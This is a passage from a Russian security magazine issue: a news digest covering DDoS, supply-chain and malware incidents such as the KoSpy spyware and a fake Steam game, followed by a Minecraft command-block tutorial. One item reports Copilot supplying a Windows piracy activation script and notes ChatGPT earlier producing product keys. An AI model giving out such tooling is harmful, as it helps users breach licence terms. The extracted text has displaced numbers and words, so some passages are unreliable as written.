компрометации, распространилась на  другие проекты, использующие tj-
actions/changed-files.

Компрометации reviewdog и  tj-actions были присвоены идентификаторы
CVE-2025-30154 и CVE-2025-30066.

Хронология атаки

КОДИТЬ СКОРО БУДЕТ ИИ
Во время выступления на форуме Council on Foreign Relations генеральный директор ИИ‑ком‐
пании Anthropic Дарио Амодей (Dario Amodei) заявил, что уже через год весь код для различно‐
го софта будут писать не разработчики ПО, а искусственный интеллект.

Амодей пишет:

→ Думаю, что уже через три — шесть месяцев мы достигнем того уровня, когда
ИИ будет писать 90% кода. А затем, еще через двенадцать месяцев, мы можем
оказаться в мире, где ИИ будет писать практически весь код.

По мнению CEO Anthropic, в  ближайшем будущем люди еще  будут нужны, чтобы задавать
ИИ‑модели новые функциональные параметры и условия, но потом и это сойдет на нет.

→ Полагаю, что в конечном итоге все эти маленькие островки будут поглощены
ИИ‑системами. В конце концов мы достигнем момента, когда ИИ сможет делать
все то же, что может человек. Думаю, что это произойдет с каждой отраслью.

Продолжение статьи
→
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DDOS-АТАКА НА LOVIT
Жители домов крупнейшего российского застройщика «ПИК» в  Москве
и  Санкт‑Петербурге остались без  домашнего интернета на  несколько дней.
Причиной стала масштабная DDoS-атака, направленная на провайдера Lovit,
который обслуживает эти дома.

Представители Lovit сообщили, что DDoS-атака началась около полуд‐
ня  21  марта  2025  года и  в результате инцидента оказались затронуты клю‐
чевые элементы инфраструктуры, что «привело к  временным техническим
трудностям в работе сервисов».

Ситуация осложнилась тем, что Lovit является единственным провайдером
в домах «ПИК». Сообщалось, что из‑за атаки во многих домах возникли проб‐
лемы с домофонами (многие жильцы пользовались ими с помощью приложе‐
ния и  не покупали магнитные ключи), а  также со  сбоями столкнулись ком‐
мерческие организации, расположенные в  пострадавших зданиях, так как  у
них не работали терминалы для оплаты и бонусные системы.

В Роскомнадзоре подтверждали, что Lovit пострадал от  DDoS-атаки,
пиковая мощность которой составила до  219,06  Гбит/с и  22,39  миллиона
пакетов в  секунду. Трафик исходил с  серверов, находящихся в  Великоб‐
ритании, Германии, Нидерландах, России, США, Финляндии, Франции, Хор‐
ватии и Швеции.

Представители ведомства заявляли, что специалисты Центра мониторинга
и  управления сетью связи общего пользования, подведомственного Рос‐
комнадзору, помогали Lovit отражать атаку с  помощью Национальной сис‐
темы противодействия DDoS-атакам.

Позже в  Роскомнадзоре заявили СМИ, что необходимо закрепить
в законе требования к устойчивости и живучести сетей связи, чтобы операто‐
ры связи и провайдеры были обязаны обеспечивать не только их защиту, но и
возможность быстрого восстановления после атак.

В пресс‑службе ведомства сообщили, что российское законодательство
требует доработки для более эффективной борьбы с DDoS-атаками.

В частности, в  РКН считают, что необходимо расширить перечень обя‐
зательных мер по защите от DDoS-атак, включая использование отечествен‐
ных решений для  мониторинга и  фильтрации трафика, а  также установить
более жесткие требования к резервированию инфраструктуры, «что позволит
минимизировать последствия атак и  избежать массовых перебоев в  работе
сервисов».

«

»

Комплексная реализация этих мер позволит снизить риски атак на критичес‐
кую инфраструктуру и повысить уровень кибербезопасности российских
операторов связи, — говорят в ведомстве. — Инфраструктура провайдера
(Lovit) оказалась не готова к такой массированной DDoS-атаке, что привело
к серьезным сбоям в работе сервисов. Отсутствие эффективных превен‐
тивных мер, недостаточная защита сетевой инфраструктуры и слабая сис‐
тема мониторинга угроз показали, что компания не предприняла своевре‐
менных шагов для минимизации рисков подобных атак. Это свидетельствует
о недостаточном уровне подготовки и планирования в сфере кибербезопас‐
ности.

 ПОЛЬЗОВАТЕЛЕЙ TELEGRAMМИЛЛИАРД

19 марта 2025 года Павел Дуров сообщил в своем Telegram-канале, что мессенджер перешаг‐
нул отметку в   активных пользователей в  месяц. Это  делает Telegram 
по популярности мессенджером в мире (без учета китайского WeChat). Первое место по‑преж‐
нему занимает WhatsApp.

1  миллиард вторым

По словам Дурова, растет и вовлеченность аудитории: в среднем пользователь открывает при‐
ложение  раз в день и проводит в нем  минуту.21 41

COPILOT
АКТИВИРОВАЛ
WINDOWS
Пользователи обнаружили, что, если спросить ИИ‑помощника Copilot, сущес‐
твует ли скрипт для активации Windows 11, в ответ можно получить пошаговое
руководство с инструкциями, как активировать операционную систему.

Все началось с  того, что пользователь Reddit поделился наблюдением:
если спросить у  бесплатной версии Copilot, есть ли скрипт для  активации
Windows 11, ИИ‑ассистент предоставит пользователю руководство, которое
включает в  себя скрипт из   Microsoft Activation Scripts
(MAS), который можно использовать для бесплатной активации ОС.

GitHub-репозитория

Этот метод активации Windows и Office не нов и известен уже несколько лет,
но такой совет от ИИ‑инструмента Microsoft показался пользователям стран‐
ным. Хотя Copilot и напоминал о том, что «использование несанкционирован‐
ных методов активации может нарушить условия обслуживания Microsoft».

Инструменты группы крякеров‑энтузиастов Massgrave позиционируются
как  опенсорсные, а  файлы проекта Microsoft Activation Scripts уже довольно
давно доступны на  GitHub, который принадлежит компании Microsoft.
При этом компания не предпринимает никаких действий против крякеров.

Стоит отметить, что совсем недавно бывший сотрудник компании 
, что Microsoft мало заботит пиратство, так как «в Microsoft хотят, чтобы

вы использовали Windows 11, потому что вы и есть продукт».

утвер‐
ждал

Однако после того, как  информация о  странном поведении Copilot рас‐
пространилась в СМИ и соцсетях, Microsoft закрыла эту лазейку.

Теперь, если спросить у  Copilot о  скриптах для  активации Windows,
ИИ‑помощник ответит:

«
»

Я не смогу вам помочь. Активация Windows 11 с помощью неавторизованных
скриптов незаконна и нарушает условия обслуживания (terms of service)
Microsoft. Для активации программного обеспечения рекомендуется исполь‐
зовать законные методы, чтобы гарантировать получение надлежащих
обновлений и поддержки.

Если вам нужна помощь в активации Windows 11, вы можете посетить
официальную страницу поддержки Microsoft для получения рекомендаций.

Любые попытки спорить с  Copilot или  убеждать ИИ пересмотреть решение
не дают никакого результата.

В настоящее время помочь с  активацией Windows откажется и  ChatGPT,
хотя ранее исследователям удавалось добиться от  чат‑бота успешной
генерации работающих ключей для   и  .Windows 95 Windows 10

САМЫЕ «ПОПУЛЯРНЫЕ» УЯЗВИМОСТИ
Исследователи «Лаборатории Касперского» предупредили, что среди хакеров усилился тренд
на атаки на операционные системы и эта категория вытесняет другое ПО.

Количество критических уязвимостей в 2024 году осталось на уровне 2023 года, а общее число
зарегистрированных CVE за этот период выросло на  .20%

Динамика количества уязвимостей, включая критические, 2019–2024 годы

При этом в 2024 году ОС стали самой популярной категорией ПО для создания публичных экс‐
плоитов. Также заметно увеличилось количество публичных эксплоитов для  инструментов

 и  .Microsoft Office SharePoint

Распределение опубликованных эксплоитов к уязвимостям по платформам в 2024 году

Число пользователей Linux, столкнувшихся с  эксплоитами, также выросло. Так, в  четвертом
квартале прошлого года этот показатель был в   раза выше, чем за  аналогичный пери‐
од 2023 года.

1,5

Динамика количества пользователей Linux, столкнувшихся с эксплоитами в 2023–2024 годах.
За 100% принято количество пользователей, столкнувшихся с эксплоитами в первом квар‐

тале 2023 года

НОВАЯ МАЛВАРЬ
В STEAM
В прошлом месяце компания Valve  игру PirateFi, в которой
было обнаружено вредоносное ПО. Теперь пользователи нашли в магазине
еще  одну игру, которая обходила правила Steam и  перенаправляла игроков
на сторонний сайт для загрузки демоверсии, содержавшей инфостилер.

удалила из Steam

На этот раз внимание пользователей привлекло странное поведение игры
Sniper: Phantom’s Resolution. Технически эта игра еще не вышла, на ее стра‐
нице в Steam указано, что релиз запланирован на второй квартал 2025 года.
Однако похоже, что никакой игры не  существует вовсе, а  страница в  Steam
просто приманка, так как рекламные материалы явно скопированы из других
игр.

Первым на  проблему обратил внимание пользователь Reddit под  ником
Feral_Wasp, заметивший, что, хотя игра недоступна в  Steam, на  ее странице
в магазине присутствует прямая ссылка на полупустой и весьма подозритель‐
ный сайт. На  этом сайте игрок якобы может скачать демоверсию Sniper:
Phantom’s Resolution, после чего на  компьютер жертвы устанавливается
что‑то нехорошее.

Анализ файлов «бета‑версии», проведенный пользователем meantbent3,
показал, что малварь получает привилегии администратора на  зараженной
машине, обходит систему шифрования учетных данных в Windows и похищает
информацию с компьютера жертвы.

При этом отмечалось, что малварь плохо обнаруживается защитными
решениями, представленными на VirusTotal.

Meantbent3 писал, что всем, кто скачал эту «бета‑версию», лучше удалить
все созданные ею файлы, а затем сменить пароли для всех имеющихся учет‐
ных записей.

В результате на странице в Steam появилось предупреждение о том, что
«Sniper: Phantom’s Resolution больше не доступна в магазине Steam», а затем
игра была полностью удалена из магазина.

Представители Valve не давали официальных комментариев об этой ситу‐
ации.

(НЕ)РАБОТА YOUTUBE
Глава Минцифры РФ Максут Шадаев сообщил СМИ, что пока YouTube не проявляет заинтересо‐
ванности в  исполнении требований норм российского законодательства, что могло  бы стать
первым шагом к восстановлению работы сервиса в России.

Шадаев заявил:

→ Есть целый набор претензий, который Роскомнадзор выставил в адрес
YouTube. Соответственно, это вопрос выполнения норм законодательства. Если
они будут их выполнять, если они покажут конкретные шаги разблокировки оте‐
чественного контента, тогда этот вопрос будет ставиться и обсуждаться. Пока
компания не демонстрирует такой заинтересованности».

По мнению министра, несмотря на  огромные штрафы, наложенные на  компанию Google,
которой принадлежит YouTube, сейчас первичными являются «все другие требования, связан‐
ные с разблокировкой (российских телеканалов) и проведением адекватной политики, отсутс‐
твием ограничений для российских авторов».

Незадолго до  этого глава «Билайна» Сергей Анохин сообщил изданию «Ведомости», что
работа YouTube в  России замедлена из‑за устаревающей сети распределенного хранения
видео:

→ YouTube стал работать медленнее. Есть сеть распределенного хранения
видео. Она не развивается, не поддерживается, объем трафика все равно рас‐
тет, а владелец видеосервиса официально ушел из России. Пользователь ощу‐
щает это в более медленной работе сервиса. Оборудование ломается, или его
перестает хватать для растущего объема контента.

Недовольство клиентов мы видим на себе, потому что мы и другие провай‐
деры и операторы — последняя миля. Раньше работало, потом перестало
работать — идет поток жалоб, вопросов, претензий в сторону операторов связи.
И мы, конечно, пытаемся объяснить, что происходит, что наши сети как работа‐
ли, так и продолжают работать, что это сложности на более глубоком уровне,
который мы, к сожалению, не можем решить. Мы ведем коммуникационно‑разъ‐
яснительную работу с клиентами, чтобы пытаться донести, что это и для нас
проблема тоже.

СПАЙВАРЬ В GOOGLE
PLAY
Эксперты Lookout обнаружили новое шпионское ПО для Android под названи‐
ем KoSpy. Этот вредонос связан с северокорейскими хакерами и был найден
в официальном магазине Google Play и стороннем магазине APKPure в сос‐
таве как минимум пяти приложений.

По данным исследователей, спайварь связана с  северокорейской груп‐
пировкой APT37 (она же ScarCruft). Кампания с  использованием этого вре‐
доноса активна с  марта  2022  года, и, судя по  образцам малвари, хакеры
активно совершенствуют свою разработку.

Шпионская кампания нацелена в основном на корейских и англоязычных
пользователей. KoSpy маскируется под  файловые менеджеры, защитные
инструменты и обновления для различного ПО. Суммарно эксперты Lookout
обнаружили пять зараженных приложений.

Почти все вредоносные приложения действительно предоставляли
хотя  бы часть обещанных функций, но  вместе с  этим загружали KoSpy
в  фоновом режиме. Единственное исключение  — Kakao Security. Это  при‐
ложение лишь показывало фальшивое системное окно, запрашивая доступ
к опасным разрешениям.

Исследователи приписывают эту кампанию APT37  на  основании IP-адре‐
сов, которые ранее были связаны с  операциями северокорейских хакеров,
доменов, которые использовались для  распространения малвари Konni,
а  также инфраструктуры, которая пересекается с  другой хакгруппой
из КНДР — APT43.

После активации на  устройстве KoSpy извлекает зашифрованный файл
конфигурации из  БД Firebase Firestore, чтобы избежать обнаружения. Затем
вредонос подключается к управляющему серверу и проверяет, не запущен ли
он в эмуляторе. Малварь может получать обновленные настройки с сервера
злоумышленников, дополнительные полезные нагрузки для  выполнения,
а  также может динамически активироваться или  деактивироваться
с помощью специального переключателя.

В основном KoSpy ориентирован на  сбор данных, его возможности
таковы:

перехват SMS и журналов звонков;•
отслеживание GPS-положения жертвы в режиме реального времени;•
считывание и извлечение файлов из локального хранилища;•
использование микрофона устройства для записи звука;•
использование камеры устройства для съемки фото и видео;•
создание скриншотов экрана устройства;•
перехват нажатий клавиш с помощью Android Accessibility Services.•

При этом каждое приложение использует отдельный проект Firebase и сервер
для слива данных, которые перед передачей шифруются с помощью жестко
закодированного ключа AES.

Хотя в  настоящее время шпионские приложения уже удалены из  Google
Play и APKPure, исследователи предупреждают, что пользователям придется
вручную удалить малварь со  своих устройств, а  также просканировать гад‐
жеты с  помощью защитных инструментов, чтобы избавиться от  остатков
заражения. В  некоторых случаях может потребоваться сброс до  заводских
настроек.

Представители Google сообщают:

«
»

Использование регионального языка в названиях приложений указывает
на то, что это было таргетированное вредоносное ПО. Последний образец
вредоносной программы, обнаруженный в марте 2024 года, был удален
из Google Play до того, как его успели установить пользователи.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
СМИ: инфраструктура «Лукойл» пострадала от атаки шифровальщика

Роскомнадзор потребовал удалить из Google Play 47 VPN-приложений

Бэкдор DCRat распространяется через YouTube и атакует российских пользователей

«Пуленепробиваемый» хостинг Prospero связали с «Лабораторией Касперского»

Расширения для Chrome могут подменять собой менеджеры паролей

Android-устройства следят за пользователями сразу после включения

Представлена первая в текущем году Kali Linux 2025.1a

Из Firefox исчезло обещание никогда не продавать данные пользователей

Cloudflare блокирует непопулярные браузеры

Ботнет Ballista атакует уязвимые роутеры TP-Link Archer

https://github.com/orgs/massgravel/repositories
https://www.neowin.net/news/former-microsoft-employee-pedals-windows-11-piracy-says-microsoft-does-not-care/
https://xakep.ru/2023/04/03/chatgpt-win95/
https://xakep.ru/2023/06/19/chatgpt-grandmother/
https://xakep.ru/2025/02/14/piratefi/
https://xakep.ru/2025/03/27/lucoil-attack/
https://xakep.ru/2025/03/21/rkn-google-play/
https://xakep.ru/2025/03/12/dcrat-youtube/
https://xakep.ru/2025/03/04/kaspersky-prospero/
https://xakep.ru/2025/03/07/polymorphic-extensions/
https://xakep.ru/2025/03/05/android-trackers/
https://xakep.ru/2025/03/21/kali-linux-2025-1a/
https://xakep.ru/2025/03/03/firefox-privacy/
https://xakep.ru/2025/03/05/cloudflare-browser-blocks/
https://xakep.ru/2025/03/12/ballista-botnet/
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Minecraft — это кубики для всех возрастов.
А  из кубиков при  должном желании можно
собрать что угодно. Сегодня я покажу,
как  реализовать несколько популярных
алгоритмов встроенными средствами игры,
чтобы ты мог смотреть, как  игра играет
в игру, играя в игру.

О клеточных автоматах слышали все, включая школьников. Самый извес‐
тный — игра «Жизнь» — был запущен уже примерно везде, и даже в Minecraft
умельцы его уже запускали. Только вот все проекты были огромными, а прин‐
ципы работы никто не объяснял.

Поэтому я решил создать свою реализацию, которая хоть и не претендует
на оптимальность, но зато полностью понятна. По дороге разберем главные
команды, на  основе которых можно реализовать в  «Майнкрафте» почти
любой алгоритм.

КОМАНДЫ

Все без  исключения команды в  игре обрабатывает сервер. Команд в  стан‐
дартной немодифицированной и  актуальной на  данный момент версии
Minecraft 1.21  всего  68. Из  них широко используются в  механизмостроении
около десяти.

Команды в  Minecraft можно выполнять в  двух разных местах: в  чате и  в
командном блоке. Длина команды в чате ограничена, кроме того, большинс‐
тво команд доступны только админам (операторам) сервера. И  если вторая
проблема в одиночной игре не стоит, то справиться с ограничением по длине
помогает только командный блок.

Между способами запуска есть и  еще два отличия: во‑первых,
перед командой в чате обязательно нужно ставить слеш ( ), в то время как в

командном блоке это  не требуется; во‑вторых, для  команд в  чате по  умол‐
чанию определен исполнитель (в командных блоках его нужно указывать
явно).

/

Для начала получим тот самый командный блок. Пиши в  чат 

 либо просто поищи в  инвентаре в  творческом режиме.
Еще не знаешь, как в него переключиться? Нажми F3 + F4 и кнопкой F4 лис‐
тай режимы, пока не дойдешь до творческого.

/give @p 
command_block

Теперь разберемся с  тем, кто будет исполнителем команды. Этот
параметр зовется селектором и используется почти в каждой команде.

Селекторы (@)
Селекторы отвечают за  то, кто будет исполнителем (или кому будет адре‐
сована команда). Очевидно, что целью или исполнителем может быть только
сущность, но менее очевидно, что сущности — это не только игроки и живот‐
ные, но  и, к  примеру, летящие стрелы, выброшенные предметы, куриные
яйца, падающие блоки и  даже картины и  стойки для  брони (хоть они и  выг‐
лядят как блоки).

INFO

Еще существуют блоки‑сущности, но их мы в этой
статье рассматривать не будем, поскольку селек‐
торами на них указать нельзя и их особые свой‐
ства в механизмах используются редко.

Обычно селекторы обозначаются всего двумя символами, первый
из которых — . Селектором может быть никнейм игрока или идентификатор
сущности (GUID), а  может быть и  выражение, которое при  исполнении раз‐
вернется в идентификатор цели. В игре есть следующие общие селекторы:

@

 — случайный игрок;• @r

 — исполнитель команды;• @s

 — ближайший игрок;• @p

 — все игроки;• @a

 — все сущности.• @e

Как ты видишь, почти все селекторы ссылаются на  игроков, но  в некоторых
ситуациях нужно работать не с игроками. Что делать тогда? Тут в дело всту‐
пают уточняющие селекторы, которые указываются в квадратных скобках пос‐
ле самого селектора (без пробела, должно получиться в  духе 

). Поскольку уточняющие селекторы очень важны в  любом

механизме, рассмотрим каждый из них поподробнее. Разумеется, их можно
комбинировать между собой.

@e[
type=player]

type
Первый и самый часто используемый селектор. После  нужно написать

тип сущности‑адресата. Например, ты хочешь выбрать всех жителей  —
в таком случае ты напишешь . Но если вдруг ты захочешь выб‐

рать все стрелы, то уже банальное  не пойдет, потому что в игре

присутствуют три типа сущностей‑стрел.

type=

type=villager
type=arrow

Первый вариант решения проблемы  — сделать три командных блока,
по одному на каждый тип стрел (обычные, с эффектами и спектральные).

Второй вариант  — использовать теги, которые предусмотрительно наз‐
начены каждой сущности, блоку и  даже структуре в  игре. Например, тег

 указывает на  стрелы всех типов. Для  тегов уже важно

указывать пространство имен, к которому они принадлежат (оно указывается
перед двоеточием).

#minecraft:arrows

Для всего остального пространство имен тоже можно указывать, но  не
всегда оно обязательно, потому что все стандартные игровые ресурсы
находятся в пространстве имен , которое и используется по умол‐
чанию, если не указано явно.

minecraft

Еще можно использовать восклицательный знак для  отрицания  — к  при‐
меру,  будет означать «все сущности, кроме игроков».type=!player

scores
Позволяет обратиться к  сущности с  определенным значением заданного
scoreboard — их мы подробно разберем ниже. В общем виде будет выглядеть
так:

@e{scores={"Название счетчика"=m..n}}


Здесь  и   — нижняя и верхняя допустимые границы счетчика.m n

distance
Этот параметр позволяет указать расстояние от  исполнителя команды
до  целевой сущности. Задается оно диапазоном , где  и   могут быть

дробными и любое из них может отсутствовать (тогда соответствующий пре‐
дел не будет задан). Предположим, тебе надо выбрать все стойки для брони
на  расстоянии больше  10  блоков от  тебя, но  меньше  24,3. Тогда ты
напишешь:

m..n m n

@e[type=armor_stand,distance=10..24.3]


limit
Ограничивает количество выбираемых сущностей, то есть будет выбрано
не больше чем  целей. Например, если на сервере три человека, а ты

хочешь обратиться к двум случайным, пиши .

limit
@a[limit=2]

nbt
Позволяет обратиться к  сущности с  определенным NBT. Что такое NBT?
Читай дальше!

NBT-теги
Каждый объект в  игре описывается в  формате NBT-тегов (Named Binary
Tag  — именованный двоичный тег). Это  очень обширная тема, на  которую
не хватит и целой статьи, поэтому здесь я рассмотрю только самые базовые
понятия.

Хотя в процессе обычной игры непосредственное взаимодействие с NBT
не предусмотрено, ты можешь задействовать эти теги в командах при работе
с игровым миром не предусмотренными разработчиком способами. В целом
любые изменения в  любую часть мира или  в любой предмет можно внести
просто редактированием NBT соответствующих объектов.

Например, ты хочешь выдать себе алмазную кирку с  зачарованием
эффективности 40-го уровня. Тогда ты должен написать следующее:

/give @p diamond_pickaxe{Enchantments:[{id:efficiency,lvl:40}]}


Как видишь, NBT задается в  виде обычного JSON, но, поскольку эта часть
игры скрыта от рядового игрока, автодополнение тут не работает и докумен‐
тация отсутствует для большей части стандартного Minecraft, а моды не пок‐
рыты вообще. Что делать в таком случае?

Посмотреть или  отредактировать NBT любой части мира поможет
. Если хочешь посмотреть в  NBT-параметры какого‑нибудь хит‐

рого предмета, сохраняй мир, на котором у тебя есть предмет с нужным NBT,
и ковыряй эксплорером.

NBTExplorer

Интерфейс NBTExplorer

Например, недавно мне нужно было выдать командой оружие из  мода
Timeless Classics and  Zero (один из  золотых модов, упомянутых в 

 по Minecraft). Дело осложнялось тем, что все виды оружия имели оди‐
наковый ID ( ), а конкретный вид задавался допол‐

нительным тегом.

прошлой
статье

tacz:modern_kinetic_gun

Но даже когда я задал этот тег, стрелять пушка все равно отказывалась,
потому что надо было задать еще  несколько параметров, которые не  были
документированы вообще нигде. Без  NBTExplorer или  другого способа под‐
смотреть NBT задача была  бы нерешаемой, а  с ними получилось выяснить,
что обязательный к  указанию режим стрельбы может быть любым, и  я смог
сделать пистолет, стреляющий очередями.

Чтобы скопировать предмет со  всеми NBT, кликни по  нему в  инвентаре
колесиком мыши, удерживая Ctrl. Клик без  зажатого Ctrl скопирует блок
без  тегов. Например, если ты кликнешь колесиком по  командному блоку,
в  который введена команда, скопируется пустой командный блок, а  если
будешь при этом держать Ctrl — он скопируется сразу с командой. Это полез‐
но, когда в  механизме используется много похожих командных блоков.
Но работает это, разумеется, с любыми блоками, а не только с командными.

Волшебная палочка
Еще одно применение прямого редактирования NBT — постройка карт. Все
знают, как сложно порой ориентировать блок так, как тебе нужно. Вместо того
чтобы ломать блок и  подбирать положение, можно использовать палочку
отладки. Она позволяет менять состояние блока, не ломая его, в обход всех
игровых правил, в  том числе не  обновляя соседние. Используется она так:
левой кнопкой мыши выбираешь изменяемый параметр, правой задаешь его
значение.

Как же заполучить эту палочку? В  последних версиях ее можно найти
в инвентаре креатива, но в общем случае она выдается командой 

.
/give @p 

debug_stick
Так, например, можно сделать воду в  Аду (как ты знаешь, стандартными

способами поместить ее там невозможно). Для  этого нужно поставить под‐
мостки (они же строительные леса), взять палочку отладки, прокликать левой
кнопкой мыши до параметра  и поменять его на  . При этом

блоки не обновляются, так что нужно принудить наш отредактированный блок
обновиться — для этого достаточно просто поставить рядом любой блок.

waterlogged true

Вода в Аду

Можно создавать и другие невозможные структуры, например висящие друг
на друге рычаги или ковры, опирающиеся на кнопки, висящие на коврах.

Парящие рычаги

Координаты
Координаты в  Minecraft задаются тремя числами. Посмотреть их можно
в меню отладки, которое открывается по нажатию F3, или с помощью модов
(например, мини‑карты). Система координат очень простая, потому что мир
измеряется прямоугольной сеткой, а не по пикселям, как в большинстве игр.

Тут смотришь координаты

Координаты считаются от центра мира, и их направление можно определить
по трем цветным полоскам в центре экрана (они видны только при включен‐
ном меню отладки). Важное отличие от других игр — высота задается коор‐
динатой Y, а не Z.

В большинстве случаев абсолютные координаты неудобны, потому что ты
хочешь откладывать расстояния от заданной точки, а не от центра мира. Тог‐
да пригодится второй тип координат — относительные. Они работают так же,
как и абсолютные, только точкой отсчета считается не центр мира, а исполни‐
тель команды.

Например, если ты хочешь заспавнить крипера на  три блока выше себя,
выполни . Координаты всегда идут в  порядке 

, и, если смещение не  указано, оно по  умолчанию считается равным нулю.

Конечно же, смещение может быть и отрицательным (например, ).

/summon creeper ~ ~3 ~ X Y 
Z

~-2
Абсолютные и  относительные координаты можно смешивать в  рамках

одной команды, то есть часть координат можно задать относительными,
а часть — абсолютными и все будет работать.

INFO

У всех сущностей высотой в  два блока, включая
игроков, мобов и  стойки для  брони, основным
блоком считается нижний  — блок ног. То есть,
когда ты ссылаешься на  сущность, для  тебя она
вся находится в своем нижнем блоке.

Кроме абсолютных и  относительных координат, есть еще  один тип, который
позволяет задавать координаты относительно взгляда сущности. Я соз‐
нательно говорю о  сущностях в  целом, а  не только об  игроках, потому что
направление взгляда имеет каждая сущность, даже выброшенный предмет.
Обозначаются такие координаты символом .^

Например, команда  установит камень

на  три блока левее твоего взгляда, на  пять выше и  на десять дальше его
источника. Неочевидный момент: источник взгляда находится по  коор‐
динатам сущности, то есть взгляд игрока будет рассчитываться от  его ног.
Что? Да!

/setblock ^3 ^5 ^10 stone

Где это можно использовать — вопрос хороший. В голову приходит разве
что какой‑нибудь скример, но  в реальном картостроении это  почти не  при‐
меняется. Если есть еще идеи — пиши в комментариях!

Продолжение статьи
→

mailto:bearunnn20@gmail.com
https://github.com/jaquadro/NBTExplorer/releases/tag/v2.8.0-win
https://xakep.ru/2025/03/14/minecraft-server/


ИГРА В ЖИЗНЬ
ПРОГРАММИРУЕМ В MINECRAFT

И ДЕЛАЕМ КЛЕТОЧНЫЕ АВТОМАТЫ

COVERSTORY 
НАЧАЛО СТАТЬИ←

СОБСТВЕННО КОМАНДЫ

Если рядовой игрок пользуется стандартными игровыми механиками, то каж‐
дый уважающий себя картодел или админ сервера обязан уметь пользовать‐
ся командами. И если с простейшими, вроде установки погоды или игрового
режима, знакомы практически все (а если незнакомы  — прочитают в 

), то более продвинутые команды, используемые в строительстве
карт, мы разберем отдельно.

до‐
кументации

execute
Командой  можно  выполнять другие команды,
изменяя их исполнителя, добавляя условия и так далее. Все без исключения
сложные алгоритмы реализуются только с помощью этой команды. В умелых
руках она превращается в  грозное оружие, хотя она во  многом напоминает
нунчаки: выглядит эффектно, но  требует годы боли, чтобы научиться поль‐
зоваться. Не  добавляет простоты и  то, что синтаксис сильно поменялся
в  версии  1.13, так что старые гайды уже несколько лет как  не помогают.
Общий синтаксис нового  следующий:

execute казнить любого игрока

execute

/execute <операция> <аргумент>


Давай разберем пять с половиной самых важных операций.

run
Ключевое слово  просто выполняет следующую за ним команду. Обычно

это  последняя операция в  списке. Если не  указать никаких операций
и написать , то это будет равносильно

. Если бы перед   были указаны условия, то коман‐

да выполнилась  бы только при  их соблюдении. Кстати, никто тебе не  зап‐
рещает внутри  выполнять еще один !

run

/execute run give @p debug_stick
/give @p debug_stick run

run execute

at
Операция  меняет точку отсчета на координаты исполнителя команды. Зная

этот и предыдущий аргумент, ты уже можешь сделать простенький механизм,
который будет строить под  тобой пол из  заданного блока. Ставишь коман‐
дный блок, задаешь настройки «Цикличный» и  «Всегда активен» и  вписыва‐
ешь команду:

at

execute at @p run fill ~-1 ~-1 ~-1 ~1 ~-1 ~1 minecraft:acacia_planks


Готово!

Настройки командного блока
У каждого командного блока, кроме собственно выполняемой команды, есть
еще три настройки:

/ /  — указывает режим выполнения команды.
Импульсный просто выполняет ее один раз, цикличный будет выполнять ее
каждый игровой тик, пока блок включен, а цепь позволяет объединять нес‐
колько блоков в  цепочку, в  которой все блоки будут срабатывать друг
за другом.

• Импульсный цикличный цепь

/   — это  проверка, выполнилась ли команда
в прошлом блоке в цепочке. Позволяет не выполнять команду в этом бло‐
ке, если предыдущий не сработал.

• Условный безусловный

 /   — это  способ запустить блок
без  сигнала красного камня. Нужно это  для компактных механизмов, где
нет места или необходимости подводить сигнал к каждому блоку. Особен‐
но полезно для  длинных цепочек командных блоков, потому что, к  при‐
меру, блок в  режиме «Условный» вообще не  будет проверять результат
прошлой команды, если на него не подан сигнал.

• Всегда активен нужен редстоун

Команда , которую я использую выше, заполняет заданную двумя точ‐

ками область указанным блоком. Всю команду можно буквально прочитать
как «под ногами ближайшего игрока заполнить квадрат три на три блока дос‐
ками».

fill

Скрываем лишние сообщения
Ты, наверное, обратил внимание на множество служебных сообщений в чате.
За их отображение отвечает игровое правило , которое
нужно будет установить в  . Сделать это  можно командой 

.

commandBlockOutput
false /gamerule 

commandBlockOutput false
Другое схожее правило  — , которое отвечает

за отображение результатов выполнения команды тебе и другим операторам
сервера (обычные игроки ничего не увидят). Только имей в виду, что отклю‐
чение  подавит также желаемый вывод команд, нап‐
ример координаты структур, выводимые командой .

sendCommandFeedback

sendCommandFeedback
/locate

Вообще, правил много, но  самые используемые в  картостроении сле‐
дующие:

уже упомянутые  и  ;• commandBlockOutput sendCommandFeedback

 (по умолчанию равно 3) управляет скоростью процес‐
сов в  игре, которые зависят от  тиков сервера,  — это  рост растений,
саморазрушение блоков и так далее;

• randomTickSpeed

 позволяет сохранять инвентарь игрока после смерти;• keepInventory

 включает или  отключает естественную смену дня
и ночи, а   — перемену погоды;

• doDaylightCycle

doWeatherCycle

 разрешает или  запрещает мобам повреждать блоки,
а   включает или отключает  хлопки динамита.

• mobGriefing

tntExplodes взрывы

Еще одно удобное применение — быстрое копирование структур в несколько
точек. Котиков я люблю, поэтому экспериментировать будем на  курицах.
Алгоритм прост, как палка: если в мире появилась курица — клонируем по ее
координатам свою структуру, а  саму курицу ликвидирует следующий коман‐
дный блок.

execute at @e[type=chicken] run 
clone "абсолютные координаты угла твоей структуры" "абсолютные 
координаты противоположного угла твоей структуры" ~ ~ ~


kill @e[type=chicken]


Первую команду пиши в  цикличный всегда активный командный блок, вто‐
рую — в цепной всегда активный. Курицей будешь ставить свою структуру.

Выглядеть должно как‑то так

as
Оператор очень похож на  предыдущий и  по значению, и  по написанию. Он
меняет исполнителя команды, но  не трогает координаты. Например, ты
можешь писать сообщения от чужого имени:

/execute as "жертва" run say "Текст"


align
Выравнивает координаты по  указанной оси. Наиболее активно применяется
при установке стоек для брони, чтобы команды создавали их не между бло‐
ками, а по центру.

if/unless
Операторы  и   очень похожи. Первый выполняет идущую дальше

команду, если условие истинно, второй — наоборот. У обоих есть аргументы
/  и  , где первые два проверяют блоки по заданным коор‐

динатам, а последний — абсолютное или относительное значение счетчика.

if unless

block blocks score

scoreboard
Если ты искал команду для  создания счетчиков и  управления ими, то она
перед тобой. Синтаксис этой команды глобально не менялся уже много лет,
и у нее есть два больших раздела —  и  . Первый исполь‐

зуется для управления самими счетчиками, в то время как второй рулит зна‐
чениями.

objectives players

Счетчики привязаны к  сущностям, то есть для  каждой сущности каждый
счетчик тикает независимо. Чтобы добавить счетчик игроку, не нужно никаких
особых действий, просто присвой счетчику любое значение для этого игрока.

scoreboard objectives
Что делает , в  целом очевидно: позволяет создать счетчик. Синтаксис
операции  — .

Тип может быть одним из уже определенных игрой (тогда твой счетчик будет
связан с  определенными игровыми событиями, например с  разрушением
блока или  нанесением урона), а  может быть , что отвязывает счетчик

от  игры и  позволяет рулить им как  вздумается. Фактически счетчик с  типом
  — это  обыкновенная переменная, что уже можно использовать

